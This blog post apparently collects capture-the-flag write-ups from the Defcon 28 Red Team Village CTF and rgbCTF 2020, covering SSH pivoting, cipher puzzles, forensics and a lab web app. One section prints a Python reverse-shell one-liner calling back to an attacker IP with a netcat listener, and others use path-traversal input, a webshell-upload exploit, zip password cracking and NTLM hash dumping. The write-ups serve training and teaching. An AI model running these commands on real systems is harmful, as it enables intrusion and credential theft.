museifu > blog

Defcon28 Red Team Village CTF 2020 Write-up


I want to start this post out by giving a big thank you to all the organizers and volunteers of Defcon 28. We are all facing a difficult time at the moment, in one way or another. Everyone really stepped up to make this event as great as it could be through the constraints of being exclusively virtual. Though I missed not being physically on-site to drink myself into a stupor amongst peers and friends. In exchange, I found this year to be particularly productive. I participated in the Red Team village’s CTF as well as the IOT village’s CTF. I also took Georgia Weidman’s “Hands-On Exploit Development” training. Georgia has a solid understanding of the material and communicates not just the concepts but the details well. Although this course was mostly review, I walked away with a more solid foundation on GNU’s Debugger, troubleshooting code, and exploitation. Big shoutout to the crew @dc562 you guys brought it this year and I couldn’t be more proud. Please enjoy the write-ups from the challenges I completed in the Red Team village’s CTF and feel free to contact me should you have any questions.



Challenge Name Category Solves Points
Bastion Tunneler 360 25
Browsing Websites Tunneler 276 50
SSH in tunnels Tunneler 267 50
Another Pivot Tunneler 169 75
What failed Logs 437 25
Who failed Logs 388 25
We failed Logs 401 25
Whom failed Logs 401 25
All about that base Crypto, Ciphers, and Encodings 504 10
All about that base remix Crypto, Ciphers, and Encodings 360 10
n Eggs Crypto, Ciphers, and Encodings 423 10
et tu brute Crypto, Ciphers, and Encodings 376 10
AFSC 29331 Crypto, Ciphers, and Encodings 313 10
Don’t touch the third rail Crypto, Ciphers, and Encodings 188 10
Why are they even in that order in the fist place? Crypto, Ciphers, and Encodings 222 10
Pop a shell on that Workout at Home Gym 145 200
Let’s enumerate the host a bit 1 Workout at Home Gym 131 25
Let’s enumerate the host a bit 2 Workout at Home Gym 125 50
Let’s have some SQL fun 1 Workout at Home Gym 112 300
Let’s have some SQL fun 2 Workout at Home Gym 100 75
Let’s have some SQL fun 3 Workout at Home Gym 95 75
Let’s have some SQL fun 4 Workout at Home Gym 108 75
Lookin’ for dem Tiger Tunes Tiger Tunes 127 50
Tigers Never Let You Down Tiger Tunes 52 150
Look Closer Tiger Tunes 66 150
Can you hear me now? Forensics 127 10
Just a nice picture Forensics 127 25
Strings Pwn 155 75
Tom Nook - 1A Forensics 259 30
Tom Nook - 1B Forensics 318 10
Tom Nook - 1C Forensics 318 10
Tom Nook - 1D Forensics 279 25
Tom Nook - 1E Forensics 194 30
Tom Nook - 1F Forensics 192 20


Category : Tunneler | Solves: 360 | Points: 25

1 Bastion

We are given the username, password, and port to connect to a bastion host via SSH.

In doing so we are presented with our first flag:


Flag: ts{SSHtoANonStandardPort}

Furthermore, we are given information to connect to “the pivot host”:

Address:, user: whistler, password: cocktailparty

Simple enough.

— Back to Top —

Browsing Websites

Category: Tunneler | Solves: 276 | Points: 50

2 Browsing Websites

We are given “Browse to”.

This is an internal IP, we will need to setup a proxy in order to browse internally to this host.

We will accomplish this with proxychains and SSH with the following commands,

First, we will setup a dynamic port forward over port 1080 on our localhost to the bastion server via SSH on port 2222.

ssh -D 1080 tunneler@ -p 2222

Next, we configure our proxychains config file (found in /etc/proxychains.conf) to use this port on our localhost:

echo "socks4 1080" >> /etc/proxychains.conf

Lastly, we use the following command to transfer data from the internal IP (rather than browsing to it):

proxychains curl

We are given the following output:


Flag: ts{TheFirstTunnelIsTheEasiest}

— Back to Top —

SSH in tunnels

Category: Tunneler | Solves: 267 | Points: 50


Now that we have our pivot setup, we should be able to SSH into another host using proxychains:

proxychains ssh whistler@

We successfully connect to this new host and receive the next flag!


Flag: ts{IThoughtWeLostYouOnTheWay}

— Back to Top —

Another Pivot

Category: Tunneler | Solves: 170 | Points: 75


We are now tasked with connecting to an additional pivot.

There are two ways to go about this, I will cover both.

If we simply needed to connect to another host from our initial pivot and not establish another anchor point (second pivot) we could do this with the built-in SSH (-J) command that allows jumping from one SSH server to the next. (Note: some servers do not allow this, but in this case we can):

proxychains ssh -J whistler@ crease@


The other way to accomplish this, and pivot further into a network, would be to create another dynamic port forward on the first pivot machine (, thus allowing us to connect to the second pivot server ( via proxychains, rather than jumping from the first pivot machine using proxychains configured with the initial bastion host we established a dynamic port forward on.

We need to specify a new port to dynamically forward through our localhost:

proxychains ssh -D 1081 whistler@


Now, we simply update our proxychains.conf file to use the new dynamic port 1081:


Lastly, let’s use this new configuration to connect to the second pivot server and get our flag!:

proxychains ssh crease@


Flag: ts{TunnelsInTunnelsInTunnels}

— Back to Top —

What failed

Category: Logs | Solves: 437 | Points: 25


I simply viewed the log file from Google Drive.

A quick review of the log file shows fail2ban has been configured to ban users over SSH.


Flag: ssh

— Back to Top —

Who failed

Category: Logs | Solves: 389 | Points: 25


For these set of challenges, the same log file is used.

After careful review we locate each unique IP address that has been banned:

Flag: 8

— Back to Top —

We failed

Category: Logs | Solves: 401 | Points: 25


The specific error we care about for this log entry is as follows:


A simple CTRL+F find all search on this log file for “CRITICAL Unable to restore environment” gives us the number of occurences the fail2ban service reached an unrecoverable state (a.k.a our flag): 48

Flag: 48

— Back to Top —

Whom failed

Category: Logs | Solves: 402 | Points: 25


For this challenge, we are searching for specific instances where the IP address is getting banned, rather than the reporting of IP’s that have already been banned.

Another use of CTRL+F through our web browser searching for “Ban ":

This provides us with the number of occurences of matches on IP Address:



— Back to Top —

All about that base

Category: Crypto, Ciphers, and Encodings | Solves: 504 | Points: 10


This is a simple base64 encoded string.

echo "dHN7SXNUaGlzRW5jcnlwdGlvbn0=" | base64 -d


Flag: ts{IsThisEncryption}

— Back to Top —

All about that base remix

Category: Crypto, Ciphers, and Encodings | Solves: 360 | Points: 10


Another base64 encoded string?…


Let’s try another base format.


Base32 it is…yawn.

Flag: ts{ThisIstotallyEncryption!}

— Back to Top —

n Eggs

Category: Crypto, Ciphers, and Encodings | Solves: 423 | Points: 10


The title “n Eggs” gives us the hint that this may be a Bacon Cipher.
Bacon cipher it is.



— Back to Top —

et tu brute

Category: Crypto, Ciphers, and Encodings | Solved: 313 | Points: 10


Based on the format of this string, this looks like the flag but just rotated.

Could it be the best encryption of all time ROT-13?!


They should’ve used ROT-26, double the encryption next time.


— Back to Top —

AFSC 29331

Category: Crypto, Ciphers, and Encodings | Solves: 313 | Points: 10


Doing a quick Google Search on “AFSC 29331”, we learn this is an Air Force Specialty Code.

The string itself looks like morse code. The translation of morse code is as follows:



— Back to Top —

Don’t touch the third rail

Category: Crypto, Ciphers, and Encodings | Solves: 188 | Points: 10


The title gives us a hint that this is likely a Rail Fence (Zig-Zag) Cipher.

Specifically with a height of 3.


Flag: ts{ZigyzagyCipherFTW}

— Back to Top —

Why are they even in that order in the fist place?

Category: Crypto, Ciphers, and Encodings | Solves: 222 | Points: 10


This was actually my favorite cipher challenge.

As we can tell, the numbers above range from as low as 3 to as high as 20.

My instinct told me this was simply a numerical representation of alphabetical characters.

Let’s translate it and check:



— Back to Top —

Pop a shell on that

Category: Workout at Home Gym | Solves: 145 | Points: 200


We are presented with the following challenge, to get a shell on this web server.

Let’s browse to it and start our enumeration.


As we can see, we are presented with a “Gym Management System 1.0” webapp software.

There is a login for the site, but let’s do a quick check for any known vulnerabilities for this software.


Hey, that looks promising, let’s check out the source code.

It looks like this python script will perform the uploading of a php webshell through an unauthenticated file upload vulnerability.
Let’s give it a go.


Sweet ascii art!

Now to find the flag on the root of the filesystem:


That was an easy shell to pop. No kidding.

Flag: ts{ThatWasAnEasyShelltoPop}

— Back to Top —

Let’s Enumerate this host a bit 1

Category: Workout at Home Gym | Solves: 131 | Points: 25


Now that we have our webshell, let’s get a full shell on this host to make enumeration on the filesystem easier.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacking-ip>",6669));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

On our attacking server we setup a netcat listener:

nc -nvlp 6669

Once we catch the reverse shell we’ll want to spawn a TTY:

python -c 'import pty; pty.spawn("/bin/sh")'

Now that we have a nice working shell, we can check for the IP address of the mysql server.

I went ahead and ran ps aux | grep mysql to look for a running instance of mysql:


So, we know the IP address is


— Back to Top —

Let’s Enumerate this host a bit 2

Category: Workout at Home Gym | Solves: 125 | Points: 50


Next, we need to locate the root password of the SQL server account.

Well, we know from running our previous ps aux | grep mysql command that the www-data user has an active session connecting to the “gym” database on the SQL server with the root account.

Let’s try some default passwords: root:root doesn’t work. Maybe root:toor. There we go!

mysql -h -u root -p


Flag: toor

— Back to Top —

Let’s have some SQL fun 1

Category: Workout at Home Gym | Solves: 112 | Points: 300


“Now you need to get a real shell.” One step ahead of you. ;)

Let’s see if we can locate the admin user.

First, we will use the following command to connect to the “gym” database from MySQL:

use gym;

Next, let’s take a look at the tables on the “gym” database.

show tables;


The “members” table sounds particularly useful. Let’s check the columns for the members table.

show columns from members;


Okay, now let’s select members from the “admin” column who’s value is equal to 1. This should yield any admin users found in the “members” table.

select * from members where admin = 1;


“James” is our admin.

Flag: James

— Back to Top —

Let’s have some SQL fun 2

Category: Workout at Home Gym | Solves: 100 | Points: 75


We need to enumerate the SQL tables further to find this information.

Previously, when we checked the columns we saw a “currentmembership” column for the members table.

Let’s check for members whose “currentmembership” = 1, meaning they have a current membership.

select * from members where currentmembership =1;

This gives us 5016 rows (or members) for output.


Flag: 5016

— Back to Top —

Let’s have some SQL fun 3

Category: Workout at Home Gym | Solves: 95 | Points: 75


Now we need to find the most popular gym location.

We know there is a “gymlocation” column from the members table. We will use this to find the flag.

Let’s take another look at the tables.

show tables;


Locations should tell us the different locations we will want to enumerate members with. Let’s check it out.


Okay, so we have our locations and their respective id’s, now we simply need to check the number of members for each location. We’ll choose the location with the most rows (or members) from the results.

select * from members where gymlocation = 0

2018 rows for “Home Location”

2017 rows for “Chicago”

1971 rows for “Atlanta”

2068 rows for “Austin”

1926 rows for “Baltimore”

Austin is the most popular gym location.

Flag: Austin

— Back to Top —

Let’s have some SQL fun 4

Category: Workout at Home Gym | Solves: 108 | Points: 75


Now for the last flag in this category we will need to locate the first failed login attempt by year.

Let’s take a look at the tables once more:

show tables;


“login_attempts” likely has the information we are looking for.

Let’s check the columns for this table:

show columns from login_attempts;


Okay, so the third column is of most interest to us. Let’s see the values for this column.

select * from login_attempts;


Okay, so we have numbers ranging from 1402641415-1597006651 or higher.

These timestamps are epochs. We will need to convert these to a human-readable time format.


Great, so it looks like 15XXXXXXX is from year 2020. Let’s try showing only values of login_attempts from lower values. Let’s say 1400000000.

select * from login_attempts where time <= 1400000000

We see 603 rows in this set.

Let’s check lower than 1380000000

select * from login_attempts where time <= 13800000000

This query returns “Empty set”. It looks like the lowest value is at least 139XXXXXXX

This gives us the following year: 2014

Flag: 2014

— Back to Top —

Lookin’ for dem Tiger Tunes

Category: Tiger Tunes | Solves: 127 | Points: 50


We are presented with the following url:

Browsing here we find:


Enumerating the website we find the following in the robots.txt file:


Unfortunately, the challenge is not as simple as browsing to /etc/flag.txt through the URL.

Let’s see if we can find the “/etc/flag.txt” file with a vulnerability.

At the top we see a search bar. Maybe there is a local file inclusion vulnerability through the search function.


Sure enough, by searching for “../../etc/flag.txt” we are returned with the output of /etc/flag.txt

Flag: TS{SheDidItDotDotDotty}

— Back to Top —

Tigers Never Let You Down

Category: Tiger Tunes | Solves: 52 | Points: 150


I’ll be honest, this one took me a little while to figure out. But it did click eventually, let’s walk through the process.

We know from the webapp that there is a “Joe’s Tracks” directory.

Browsing here: “”

We see images of popular albums, including the ever popular “Joe Exotic’s - Tiger King” album.


My initial thought was there may be either another web vulnerability chained from the location of this album image or that the album art has hidden steganopgrahy.

Browsing to “Joe Exotic’s - Tiger King” album art we see a password lock layer on top of the image. This must be steganography right? Let’s check the directory the JPEG file is in.



Hmm, so there is the original tigerking.jpg album and a tigerking_alt.jpg image…

Let’s check for hidden data in the original image.

steghide extract -sf tigerking.jpg


Okay, so we locate a troll.txt file from the image. This troll.txt file contains a base64 encoded string that, when decoded, provides a youtube link. We are about to get rick rolled. Yep, rick roll.

At this point I checked the tigerking_alt.jpg image for steganography before circling back to this challenge.

Eventually I came back to this challenge. The point that clicked for me, was the connection between the rick roll and the title of the challenge: “Tigers Never Let You Down”.

Checking the entire list of JPEG files in the album directory, we locate a “rickastley.jpg” image.



Let’s download this file and check it with steghide.

steghide extract -sf rickastley.jpg


We’ve found our flag!

Flag: TS{NeverGonnaLetYouFindMyExHusbandsBody}

— Back to Top —

Look Closer

Category: Tiger Tunes | Solves: 66 | Points: 150


So, from the last challenge we had located two separate tigerking.jpg files.

We know there is no file hidden within the image itself from the last challenge.

Let’s look at the tigerking_alt.jpg file from within Gimp and see if the flag is hidden within the image itself.

By adjusting the brightness on the image, we locate the flag on the image itself.

Easy enough.


Flag: TS{SupaHotFireeeeee}

— Back to Top —

Can you hear me now?

Category: Forensics | Solves: 127 | Points: 10


We are given a .wav file from the google drive link above.

Let’s download the file and give it a listen.

Opening the file in Audacity we don’t hear anything audibly pleasing.

Let’s open the spectrogram.


Easy enough.

Flag: flag{s0nicw@v!}

— Back to Top —

Just a nice picture

Category: Forensics | Solves: 127 | Points: 25


The link provides a ctf.jpg image.

Let’s download this image and check for steganography.

Initially, I tried adjusting the images brightness, contrast, and color levels (red, blue, and green), all to no avail.

Steghide didn’t yield any hidden content either. Time to try some other stuff.

Running strings on the file shows some interesting content:

strings ctf.jpg


Let’s use binwalk to check the contents of this file.

binwalk ctf.jpg


Running binwalk on this file, we see a zip archive at 0x290791 offset that contains a flag.txt file.

Let’s use “dd” to extract the contents.


We are unable to unzip the file as it is password protected.

Let’s use fcrackzip to attempt to bruteforce the password with rockyou.txt wordlist.

fcrackzip -u -v -D -p /usr/share/wordlists/rockyou.txt


Finally, let’s unzip the archive and display the flag.


Flag: flag{f93kfaskdif92}

— Back to Top —


Category: Pwn | Solves: 155 | Points: 75


We download the “strings.c” file and compile it using GCC.

gcc -o strings strings.c

Checking our newly compiled “strings” file with strings we see the flag in the output, but it has been mangled.

Let’s try viewing this compiled binary in a memory hex viewer such as “xxd”.

xxd strings


Easy enough.

Flag: ts{DidYouUseStringsorMaths}

— Back to Top —

Tom Nook - 1A

Category: Forensics | Solves: 259 | Points: 30


We are given a 7zipped archive containing a packet capture file.

7z x TomNookInternetTraffic.7z

Let’s open this pcap file in Wireshark. By checking the contents of the packet capture we find the first flag in the 7th entry of transmission data.


Flag: TS{TomNookUsesTheInternet}

— Back to Top —

Tom Nook - 1B

Category: Forensics | Solves: 321 | Points: 10


By analyzing the pcap file from the screenshot in the first challenge we locate the source IP:



— Back to Top —

Tom Nook - 1C

Category: Forensics | Solves: 321 | Points: 10


Now, we simply need to locate the destination IP rather than the source IP within the pcap file.



— Back to Top —

Tom Nook - 1D

Category: Forensics | Solves: 282 | Points: 25


Further analysis of the packet captures yields the following filename:



— Back to Top —

Tom Nook - 1E

Category: Forensics | Solves: 282 | Points: 25


We locate the “” file and use the “Export Packet Bytes…” tool to extract the zip file.


Now, we simply need to crack the password for this zip file.

Let’s use fcrackzip.

fcrackzip -u -v -D -p /usr/share/wordlists/rockyou.txt raw


Flag: monkey123

— Back to Top —

Tom Nook - 1F

Category: Forensics | Solves: 194 | Points: 20


Lastly, we need to unzip the contents and locate the flag inside the PDF.


Opening this “BankStatement.pdf” file we find the last flag.


Flag: TS{TomNookDrivesTheBoat}

— Back to Top —

rgbCTF 2020 Write-up


Challenge Name Category Solves Points
Name a more iconic band Beginner 89 411
I Love Rainbows Cryptography 408 50
Penguins Misc 135 295
Tic Tac Toe Web 333 50
vaporwave1 [ZTC] 166 190

Name a more iconic band

Category: Beginner | Solves: 89 | Points: 411

Name a more iconic band challenge description

We download the “data.7z” file and extract the contents:

$ file data_1 data_1: ELF 64-bit LSB core file, x86-64, version 1 (SYSV)

Running strings on this “ELF” file we become immediately aware that this is not in fact an ELF file. This file contains a Windows memory coredump. We will need to extract the raw data and then analyze it with Volatility. We use objdump with egrep to locate the size and offset of the first LOAD section.


This section contains the RAM information we care about. We remove the bytes we don’t need.


Next, we use volatility to determine the image information from our data.raw file.


Then, we use hivelist to locate the SAM and SYSTEM Virtual memory locations.


Next, using these locations we dump the NTLM hashes stored in memory from this file.


Now all we have to do is crack the NTLM hashes, sort the passwords alphabetically, create an MD5 hash of the result, and submit the flag.


Lastly, we use the following command to generate our flag:


Flag: rgbCTF{cf271c074989f6073af976de00098fc4}

I Love Rainbows

Category: Cryptography | Solves: 408 | Points: 50


We download the rainbows.txt file and list the contents.


From the name of the challenge we are given a hint that we may be looking at a rainbow table attack using this list of hashes.

We run hash-identifier on the first two hashes to determine their hash type.



Okay, so the first hash 4b43b0aee35624cd95b910189b3dc231 is an MD5 hash and the second cd0aa9856147b6c5b4ff2b7dfee5da20aa38253099ef1b4a64aced233c9afe29 is SHA-256. We will assume the shorter hashes are MD5 and the longer hashes are SHA-256. Assuming these hashes are not salted, we could attempt to crack these locally. I even considered generating my own rainbow tables (yikes) for the sake of the challenge, but instead let’s see if we can use an online password cracker that already has rainbow table lists generated and likely has the plain-text results.

We’ll use Crackstation. A limit of 20 hashes can be submitted at once, we’ll submit the first 20 hashes and then the last 4 separately.



Awesome, the plain-text value of these hashes were previously cracked, let’s submit our flag!

Flag: rgbCTF{4lw4ys_us3_s4lt_wh3n_h4shing}


Category: Misc | Solves: 135 | Points: 295


We download and unzip the file.


Ah, a git challenge. Let’s explore the contents and see if we can find any useful information.



After some digging around the .git folder I decided to take a look at the git log history.


Commit 57adeae7 looks interesting. Let’s check out the “relevant file” change.


After checking the new files we find the following:


We base64 decode this string with base64 -d < perhaps_relevant_v2 to receive the following output:

as yoda once told me "reward you i must" and then he gave me this ---- rgbctf{d4ngl1ng_c0mm17s_4r3_uNf0r7un473}

Flag: rgbctf{d4ngl1ng_c0mm17s_4r3_uNf0r7un473}

Tic Tac Toe

Category: Web | Solves: 333 | Points: 50


We navigate to and are presented with the following:


As the player we are given uwu as our mark, the script uses owo.

I played a few games to determine the behavior of the script running this site. I soon realized that the script was making a logic error when presented with the following condition: In the case that the human player makes a move that sets up a winning condition the following round, the script will prevent the player from winning on the following round even if the script can win on that same exact round. See image below:


If we place our uwu marker on the middle bottom row, the script will prioritize blocking our next move versus winning itself on the top row. See image:


The trick here is to set ourselves up to win on the middle column. Thus, we are winning on the next move, top middle square.


We base64 decode this string and retrieve the flag!


Note: I’m sure there was another way to solve this by modifying the javascript, but why work hard?

Flag: rgbCTF{h4h4_j4v42cr1p7_ev3n72_AR3_c00L}


Category: [ZTC] | Solves: 166 | Points: 190


We download the vaporwave1.mp3 file and open it using Audacity. My first thoughts on this challenge were that this file is likely encoded, as is common with steganography challenges.

ZTC brought some great tunes this year, I especially had fun working on the third installment of this challenge in “vaporwave3”. Shoutout to ZTC for the summoning salt/speedrunning homage.

Now back to the challenge.

In Audacity we choose “spectrogram” and modify the spectrogram settings to include ranges up to 22000Hz frequency. By viewing the spectogram at this range we see a message between 15kHZ and 22kHz. We have found our flag.


Flag: rgbCTF{s331ng_s0undz}